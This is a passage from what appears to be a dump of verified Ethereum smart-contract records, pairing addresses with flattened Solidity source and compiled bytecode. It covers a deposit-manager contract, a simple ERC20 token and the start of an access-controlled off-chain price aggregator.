60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113115781810151838201526020016112f9565b5060008385816113af57fe5b0495945050505050565b6113cb826001600160a01b03166115d1565b61141c576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061145a5780518252601f19909201916020918201910161143b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146114bc576040519150601f19603f3d011682016040523d82523d6000602084013e6114c1565b606091505b509150915081611518576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156115715780806020019051602081101561153457600080fd5b50516115715760405162461bcd60e51b815260040180806020018281038252602a8152602001806116a0602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526115719085906113b9565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906116055750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436f6e747261637420697320656d7074792c20616c6c2072657761726473206469737472696275746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158205fd84eb29d9414f0914e4bd10d2a18c78f98db11bbfbb38478cb112403e4a52264736f6c63430005110032
[ 4, 7 ]
0xf379ca066cad308318aa08a6c14768682b2603a4
//SPDX-License-Identifier: Unlicense pragma solidity ^0.6.6; abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full reafund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } contract DepositManager is ReentrancyGuard { address public Owner; // manager address public Operator; // withdraw manager address public Gotter; // receive address public WETH; mapping(address => uint8) public WhiteTokenList; // token => nozore mapping(address => uint8) public BlackTokenList; // token => nozore uint256 Status; // 1 - availabe uint256 DepositIndex = 0; bool WhitelistAvailable = false; modifier onlyOwner() { require(msg.sender == Owner, "not owner"); _; } modifier onlyOper() { require(msg.sender == Operator, "not operator"); _; } modifier isActive() { require(Status == 0, "Not availabe"); _; } event Deposit( uint256 index, address token, address from, bytes32 maddr, uint256 amount ); // event Transfer( ) ; constructor(address owner, address weth) public { WETH = weth; Owner = owner; Operator = owner; modifyWhiteToken(weth, 1); } function modifyManager( address owner, address oper, address gotter ) public onlyOwner { Owner = owner; Operator = oper; Gotter = gotter; } function modifyOperator(address oper) public onlyOwner { Operator = oper; } function modifyWETH(address weth) public onlyOwner { WETH = weth; } function modifyStatus(uint256 status) public onlyOwner { Status = status; } function modifyWhitelistAvailable(bool availabe) public onlyOwner { WhitelistAvailable = availabe; } function modifyGotter(address gotter) public onlyOwner { Gotter = gotter; } function modifyWhiteToken(address token, uint8 auth) public onlyOwner { WhiteTokenList[token] = auth; } function modifyBlackToken(address token, uint8 auth) public onlyOwner { BlackTokenList[token] = auth; } function depositToken( address token, bytes32 to, uint256 amount ) public isActive nonReentrant { require(BlackTokenList[token] == 0, " in blacklist "); address from = msg.sender; require( !WhitelistAvailable || WhiteTokenList[token] == 1, "Not in whitelist " ); TransferHelper.safeTransferFrom(token, from, address(this), amount); DepositIndex = DepositIndex + 1; emit Deposit( DepositIndex, token, from, to, amount); } function depositETH(bytes32 to) public payable isActive nonReentrant { uint256 amount = msg.value; address from = msg.sender; require(amount > 0, "ETH value must be more than 0 ."); IWETH(WETH).deposit{value: amount}(); DepositIndex = DepositIndex + 1; emit Deposit( DepositIndex, WETH, from, to, amount); } function superTransferETH(uint256 amount) public onlyOper { TransferHelper.safeTransferETH(Gotter, amount); } function superTransferToken(address token, uint256 amount) public onlyOper { TransferHelper.safeTransfer(token, Gotter, amount); } function superTransfer(address token, uint256 amount) public onlyOper { address to = Gotter; if (token == WETH) { IWETH(token).transfer(to, amount); // TransferHelper.safeTransferETH( to , amount ); } else { TransferHelper.safeTransfer(token, to, amount); } } receive() external payable { // accept eth from weth only. require(WETH == msg.sender, "Accept eth from weth only."); } }
0x6080604052600436106101185760003560e01c8063703f9ac0116100a0578063a65a2fc011610064578063a65a2fc01461045d578063ad5c464814610490578063b4a99a4e146104a5578063d68d9d4e146104ba578063e9613cc2146104d75761017e565b8063703f9ac0146103585780637c886224146103945780637f6df98f146103c7578063983b3dfb146103f15780639c77e4b01461042a5761017e565b806335fc00d6116100e757806335fc00d614610257578063457f28f91461028a57806346eac50e146102b657806357fb665a146102ef57806368205ba0146103195761017e565b8063034f432614610183578063065e9a9d146101cc5780632dd07fbc146101fd5780632e080856146102125761017e565b3661017e576004546001600160a01b0316331461017c576040805162461bcd60e51b815260206004820152601a60248201527f416363657074206574682066726f6d2077657468206f6e6c792e000000000000604482015290519081900360640190fd5b005b600080fd5b34801561018f57600080fd5b506101b6600480360360208110156101a657600080fd5b50356001600160a01b0316610513565b6040805160ff9092168252519081900360200190f35b3480156101d857600080fd5b506101e1610528565b604080516001600160a01b039092168252519081900360200190f35b34801561020957600080fd5b506101e1610537565b34801561021e57600080fd5b5061017c6004803603606081101561023557600080fd5b506001600160a01b038135811691602081013582169160409091013516610546565b34801561026357600080fd5b506101b66004803603602081101561027a57600080fd5b50356001600160a01b03166105d0565b34801561029657600080fd5b5061017c600480360360208110156102ad57600080fd5b503515156105e5565b3480156102c257600080fd5b5061017c600480360360408110156102d957600080fd5b506001600160a01b038135169060200135610643565b3480156102fb57600080fd5b5061017c6004803603602081101561031257600080fd5b5035610750565b34801561032557600080fd5b5061017c6004803603606081101561033c57600080fd5b506001600160a01b0381351690602081013590604001356107b7565b34801561036457600080fd5b5061017c6004803603604081101561037b57600080fd5b5080356001600160a01b0316906020013560ff166109a2565b3480156103a057600080fd5b5061017c600480360360208110156103b757600080fd5b50356001600160a01b0316610a1a565b3480156103d357600080fd5b5061017c600480360360208110156103ea57600080fd5b5035610a87565b3480156103fd57600080fd5b5061017c6004803603604081101561041457600080fd5b506001600160a01b038135169060200135610ad7565b34801561043657600080fd5b5061017c6004803603602081101561044d57600080fd5b50356001600160a01b0316610b41565b34801561046957600080fd5b5061017c6004803603602081101561048057600080fd5b50356001600160a01b0316610bae565b34801561049c57600080fd5b506101e1610c1b565b3480156104b157600080fd5b506101e1610c2a565b61017c600480360360208110156104d057600080fd5b5035610c39565b3480156104e357600080fd5b5061017c600480360360408110156104fa57600080fd5b5080356001600160a01b0316906020013560ff16610dfd565b60056020526000908152604090205460ff1681565b6003546001600160a01b031681565b6002546001600160a01b031681565b6001546001600160a01b03163314610591576040805162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015290519081900360640190fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549385169382169390931790925560038054919093169116179055565b60066020526000908152604090205460ff1681565b6001546001600160a01b03163314610630576040805162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015290519081900360640190fd5b6009805460ff1916911515919091179055565b6002546001600160a01b03163314610691576040805162461bcd60e51b815260206004820152600c60248201526b3737ba1037b832b930ba37b960a11b604482015290519081900360640190fd5b6003546004546001600160a01b03918216918481169116141561074057826001600160a01b031663a9059cbb82846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561070e57600080fd5b505af1158015610722573d6000803e3d6000fd5b505050506040513d602081101561073857600080fd5b5061074b9050565b61074b838284610e75565b505050565b6002546001600160a01b0316331461079e576040805162461bcd60e51b815260206004820152600c60248201526b3737ba1037b832b930ba37b960a11b604482015290519081900360640190fd5b6003546107b4906001600160a01b031682610fdf565b50565b600754156107fb576040805162461bcd60e51b815260206004820152600c60248201526b4e6f7420617661696c61626560a01b604482015290519081900360640190fd5b60026000541415610853576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260009081556001600160a01b03841681526006602052604090205460ff16156108b6576040805162461bcd60e51b815260206004820152600e60248201526d01034b710313630b1b5b634b9ba160951b604482015290519081900360640190fd5b600954339060ff1615806108e557506001600160a01b03841660009081526005602052604090205460ff166001145b61092a576040805162461bcd60e51b815260206004820152601160248201527002737ba1034b7103bb434ba32b634b9ba1607d1b604482015290519081900360640190fd5b610936848230856110d2565b6008805460010190819055604080519182526001600160a01b0380871660208401528316828201526060820185905260808201849052517fe56b2e6e96e6bc8ca4d8e2e5c9981a2819c2f0267d25264da8ef91a203ba33559181900360a00190a1505060016000555050565b6001546001600160a01b031633146109ed576040805162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600560205260409020805460ff191660ff909216919091179055565b6001546001600160a01b03163314610a65576040805162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314610ad2576040805162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015290519081900360640190fd5b600755565b6002546001600160a01b03163314610b25576040805162461bcd60e51b815260206004820152600c60248201526b3737ba1037b832b930ba37b960a11b604482015290519081900360640190fd5b600354610b3d9083906001600160a01b031683610e75565b5050565b6001546001600160a01b03163314610b8c576040805162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314610bf9576040805162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b031681565b6001546001600160a01b031681565b60075415610c7d576040805162461bcd60e51b815260206004820152600c60248201526b4e6f7420617661696c61626560a01b604482015290519081900360640190fd5b60026000541415610cd5576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600055343381610d2e576040805162461bcd60e51b815260206004820152601f60248201527f4554482076616c7565206d757374206265206d6f7265207468616e2030202e00604482015290519081900360640190fd5b6004805460408051630d0e30db60e41b815290516001600160a01b039092169263d0e30db0928692808301926000929182900301818588803b158015610d7357600080fd5b505af1158015610d87573d6000803e3d6000fd5b50506008805460010190819055600454604080519283526001600160a01b039182166020840152908616828201526060820188905260808201879052517fe56b2e6e96e6bc8ca4d8e2e5c9981a2819c2f0267d25264da8ef91a203ba335594509081900360a00192509050a15050600160005550565b6001546001600160a01b03163314610e48576040805162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff191660ff909216919091179055565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b60208310610ef25780518252601f199092019160209182019101610ed3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610f54576040519150601f19603f3d011682016040523d82523d6000602084013e610f59565b606091505b5091509150818015610f87575080511580610f875750808060200190516020811015610f8457600080fd5b50515b610fd8576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b6020831061102b5780518252601f19909201916020918201910161100c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461108d576040519150601f19603f3d011682016040523d82523d6000602084013e611092565b606091505b505090508061074b5760405162461bcd60e51b81526004018080602001828103825260238152602001806112306023913960400191505060405180910390fd5b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b602083106111575780518252601f199092019160209182019101611138565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146111b9576040519150601f19603f3d011682016040523d82523d6000602084013e6111be565b606091505b50915091508180156111ec5750805115806111ec57508080602001905160208110156111e957600080fd5b50515b6112275760405162461bcd60e51b81526004018080602001828103825260248152602001806112536024913960400191505060405180910390fd5b50505050505056fe5472616e7366657248656c7065723a204554485f5452414e534645525f4641494c45445472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220e98ca0dc9d3f9a50467cdc5c5b58f9548629f044e997df279839d5ee3c5b8a2d64736f6c63430006060033
[ 16 ]
0xf37a781d9a0f78e0655299b5a82642eb1991c2ba
pragma solidity ^0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "Subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "Division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "Modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Mint(address indexed account, uint256 amount); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor () public { _name = "YieldLiquidity.org"; _symbol = "YJUL"; _decimals = 18; _mint(msg.sender, 1000000*uint256(10)**_decimals); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "Decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "Transfer from the zero address"); require(recipient != address(0), "Transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "Transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "Approve from the zero address"); require(spender != address(0), "Approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "Mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Mint(account, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f6105a4565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b610243610687565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610751565b6040518082815260200191505060405180910390f35b610325610799565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610925565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610943565b6040518082815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b600061059a6105936109ca565b84846109d2565b6001905092915050565b6000600554905090565b60006105bb848484610c03565b61067c846105c76109ca565b6106778560405180606001604052806021815260200161105960219139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062d6109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f109092919063ffffffff16565b6109d2565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006107476106ab6109ca565b8461074285600160006106bc6109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fd090919063ffffffff16565b6109d2565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108315780601f1061080657610100808354040283529160200191610831565b820191906000526020600020905b81548152906001019060200180831161081457829003601f168201915b5050505050905090565b600061091b6108486109ca565b84610916856040518060400160405280601e81526020017f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00008152506001600061088f6109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f109092919063ffffffff16565b6109d2565b6001905092915050565b60006109396109326109ca565b8484610c03565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f417070726f76652066726f6d20746865207a65726f206164647265737300000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f417070726f766520746f20746865207a65726f2061646472657373000000000081525060200191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ca6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5472616e736665722066726f6d20746865207a65726f2061646472657373000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d49576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f5472616e7366657220746f20746865207a65726f20616464726573730000000081525060200191505060405180910390fd5b610dd1816040518060400160405280601f81526020017f5472616e7366657220616d6f756e7420657863656564732062616c616e6365008152506000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f109092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e64816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fd090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fbd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f82578082015181840152602081019050610f67565b50505050905090810190601f168015610faf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561104e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4164646974696f6e206f766572666c6f7700000000000000000000000000000081525060200191505060405180910390fd5b809150509291505056fe5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0b6d00a1b33e6db88ea1e1538d5c7bd36c3efa6a3d83710ee51c3c365d2ff8064736f6c63430006060033
[ 38 ]
0xF37A7e032E942840e1C37431a42A7134a4Bc684B
// SPDX-License-Identifier: MIT pragma solidity ^0.7.1; import "./OffchainAggregator.sol"; import "./SimpleReadAccessController.sol"; /** * @notice Wrapper of OffchainAggregator which checks read access on Aggregator-interface methods */ contract AccessControlledOffchainAggregator is OffchainAggregator, SimpleReadAccessController { constructor( uint32 _maximumGasPrice, uint32 _reasonableGasPrice, uint32 _microLinkPerEth, uint32 _linkGweiPerObservation, uint32 _linkGweiPerTransmission, LinkTokenInterface _link, int192 _minAnswer, int192 _maxAnswer, AccessControllerInterface _billingAccessController, AccessControllerInterface _requesterAccessController, uint8 _decimals, string memory description ) OffchainAggregator( _maximumGasPrice, _reasonableGasPrice, _microLinkPerEth, _linkGweiPerObservation, _linkGweiPerTransmission, _link, _minAnswer, _maxAnswer, _billingAccessController, _requesterAccessController, _decimals, description ) { } /* * Versioning */ function typeAndVersion() external override pure virtual returns (string memory) { return "AccessControlledOffchainAggregator 3.0.0"; } /* * v2 Aggregator interface */ /// @inheritdoc OffchainAggregator function latestAnswer() public override view checkAccess() returns (int256) { return super.latestAnswer(); } /// @inheritdoc OffchainAggregator function latestTimestamp() public override view checkAccess() returns (uint256) { return super.latestTimestamp(); } /// @inheritdoc OffchainAggregator function latestRound() public override view checkAccess() returns (uint256) { return super.latestRound(); } /// @inheritdoc OffchainAggregator function getAnswer(uint256 _roundId) public override view checkAccess() returns (int256) { return super.getAnswer(_roundId); } /// @inheritdoc OffchainAggregator function getTimestamp(uint256 _roundId) public override view checkAccess() returns (uint256) { return super.getTimestamp(_roundId); } /* * v3 Aggregator interface */ /// @inheritdoc OffchainAggregator function description() public override view checkAccess() returns (string memory) { return super.description(); } /// @inheritdoc OffchainAggregator function getRoundData(uint80 _roundId) public override view checkAccess() returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return super.getRoundData(_roundId); } /// @inheritdoc OffchainAggregator function latestRoundData() public override view checkAccess() returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return super.latestRoundData(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./AccessControllerInterface.sol"; import "./AggregatorV2V3Interface.sol"; import "./AggregatorValidatorInterface.sol"; import "./LinkTokenInterface.sol"; import "./Owned.sol"; import "./OffchainAggregatorBilling.sol"; import "./TypeAndVersionInterface.sol"; /** * @notice Onchain verification of reports from the offchain reporting protocol * @dev For details on its operation, see the offchain reporting protocol design * @dev doc, which refers to this contract as simply the "contract". */ contract OffchainAggregator is Owned, OffchainAggregatorBilling, AggregatorV2V3Interface, TypeAndVersionInterface { uint256 constant private maxUint32 = (1 << 32) - 1; // Storing these fields used on the hot path in a HotVars variable reduces the // retrieval of all of them to a single SLOAD. If any further fields are // added, make sure that storage of the struct still takes at most 32 bytes. struct HotVars { // Provides 128 bits of security against 2nd pre-image attacks, 